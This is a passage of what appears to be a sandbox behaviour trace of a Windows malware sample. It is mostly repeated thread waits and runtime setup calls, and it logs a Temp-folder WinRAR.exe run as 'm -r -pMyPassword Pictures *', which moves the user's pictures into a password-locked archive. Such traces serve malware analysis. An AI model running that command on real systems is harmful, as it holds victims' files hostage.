[0082.081] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.709] SetEvent (hEvent=0x33c) returned 1 [0082.709] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.890] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.980] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.084] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.760] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.006] SetEvent (hEvent=0x33c) returned 1 [0084.006] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 248 os_tid = 0x12e8 [0081.758] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.010] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.082] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.708] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.890] SetEvent (hEvent=0x33c) returned 1 [0082.890] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.997] SetEvent (hEvent=0x33c) returned 1 [0082.997] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.529] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.821] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.037] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 249 os_tid = 0x12ec [0081.758] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.011] SetEvent (hEvent=0x33c) returned 1 [0082.011] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.093] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.742] SetEvent (hEvent=0x33c) returned 1 [0082.742] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.891] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.997] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.100] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.762] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.005] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 250 os_tid = 0x12f0 [0081.758] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.011] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.093] SetEvent (hEvent=0x33c) returned 1 [0082.093] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.742] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.891] SetEvent (hEvent=0x33c) returned 1 [0082.891] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.995] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.100] SetEvent (hEvent=0x33c) returned 1 [0083.100] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.762] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.005] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 251 os_tid = 0x12f4 [0081.758] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.024] SetEvent (hEvent=0x33c) returned 1 [0082.024] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.619] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.742] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.891] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.997] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.529] SetEvent (hEvent=0x33c) returned 1 [0083.529] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.821] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.037] SetEvent (hEvent=0x33c) returned 1 [0084.037] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 252 os_tid = 0x12f8 [0081.758] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.024] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.619] SetEvent (hEvent=0x33c) returned 1 [0082.619] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.768] SetEvent (hEvent=0x33c) returned 1 [0082.768] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.909] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.997] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.120] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.821] SetEvent (hEvent=0x33c) returned 1 [0083.821] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.037] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 253 os_tid = 0x12fc [0081.758] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.024] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.094] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.742] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.890] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.980] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.084] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.760] SetEvent (hEvent=0x33c) returned 1 [0083.760] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.006] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 254 os_tid = 0x1300 [0081.759] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.023] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.094] SetEvent (hEvent=0x33c) returned 1 [0082.094] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.743] SetEvent (hEvent=0x33c) returned 1 [0082.743] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.909] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.998] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.530] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.822] SetEvent (hEvent=0x33c) returned 1 [0083.822] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.050] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Process: id = "11" image_name = "winrar.exe" filename = "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe" page_root = "0x10a5b000" os_pid = "0x754" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa9c" cmd_line = "C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *" cur_dir = "C:\\Users\\FD1HVy\\Pictures\\" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 49 os_tid = 0xcd8 [0057.873] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x7ff92f150000 [0057.873] GetProcAddress (hModule=0x7ff92f150000, lpProcName="InitializeCriticalSectionEx") returned 0x7ff92f1ad580 [0057.873] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x7ff92f150000 [0057.874] GetProcAddress (hModule=0x7ff92f150000, lpProcName="FlsAlloc") returned 0x7ff92f1bd3e0 [0057.874] GetProcAddress (hModule=0x7ff92f150000, lpProcName="FlsSetValue") returned 0x7ff92f198c10 [0057.874] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x7ff92f150000 [0057.874] GetProcAddress (hModule=0x7ff92f150000, lpProcName="InitializeCriticalSectionEx") returned 0x7ff92f1ad580 [0057.874] GetProcessHeap () returned 0x28b08430000 [0057.874] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x7ff92f150000 [0057.875] GetProcAddress (hModule=0x7ff92f150000, lpProcName="FlsAlloc") returned 0x7ff92f1bd3e0 [0057.875] GetLastError () returned 0x0 [0057.875] GetProcAddress (hModule=0x7ff92f150000, lpProcName="FlsGetValue") returned 0x7ff92f192340 [0057.875] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x3c8) returned 0x28b0843bb40 [0057.875] GetProcAddress (hModule=0x7ff92f150000, lpProcName="FlsSetValue") returned 0x7ff92f198c10 [0057.875] SetLastError (dwErrCode=0x0) [0057.875] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x1000) returned 0x28b0844fdc0 [0057.876] GetStartupInfoW (in: lpStartupInfo=0xf00f8ff8f0 | out: lpStartupInfo=0xf00f8ff8f0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x1)) [0057.876] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0057.876] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0057.876] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0057.876] GetCommandLineA () returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *" [0057.876] GetCommandLineW () returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *" [0057.876] GetLastError () returned 0x0 [0057.876] SetLastError (dwErrCode=0x0) [0057.876] GetLastError () returned 0x0 [0057.876] SetLastError (dwErrCode=0x0) [0057.876] GetACP () returned 0x4e4 [0057.876] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x228) returned 0x28b0843bf10 [0057.876] IsValidCodePage (CodePage=0x4e4) returned 1 [0057.876] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xf00f8ff8c0 | out: lpCPInfo=0xf00f8ff8c0) returned 1 [0057.876] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xf00f8ff160 | out: lpCPInfo=0xf00f8ff160) returned 1 [0057.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xf00f8ff180, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0057.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xf00f8ff180, cbMultiByte=256, lpWideCharStr=0xf00f8feeb0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ╠ࡃʋ") returned 256 [0057.877] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ╠ࡃʋ", cchSrc=256, lpCharType=0xf00f8ff480 | out: lpCharType=0xf00f8ff480) returned 1 [0057.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xf00f8ff180, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0057.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xf00f8ff180, cbMultiByte=256, lpWideCharStr=0xf00f8fee50, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0057.877] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x7ff92f150000 [0057.877] GetProcAddress (hModule=0x7ff92f150000, lpProcName="LCMapStringEx") returned 0x7ff92f17c800 [0057.877] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0057.877] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0xf00f8fec40, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0057.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0xf00f8ff280, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", lpUsedDefaultChar=0x0) returned 256 [0057.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xf00f8ff180, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0057.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xf00f8ff180, cbMultiByte=256, lpWideCharStr=0xf00f8fee50, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0057.877] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0057.877] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0xf00f8fec40, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0057.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0xf00f8ff380, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0057.877] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x100) returned 0x28b0844e570 [0057.877] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x7ff6f76b2ff0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe")) returned 0x2d [0057.877] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x84) returned 0x28b08440ec0 [0057.877] RtlInitializeSListHead (in: ListHead=0x7ff6f76b2e00 | out: ListHead=0x7ff6f76b2e00) [0057.877] GetLastError () returned 0x0 [0057.877] SetLastError (dwErrCode=0x0) [0057.877] GetEnvironmentStringsW () returned 0x28b0843cd20* [0057.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Users\\FD1HVy\\Pictures", cchWideChar=1383, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 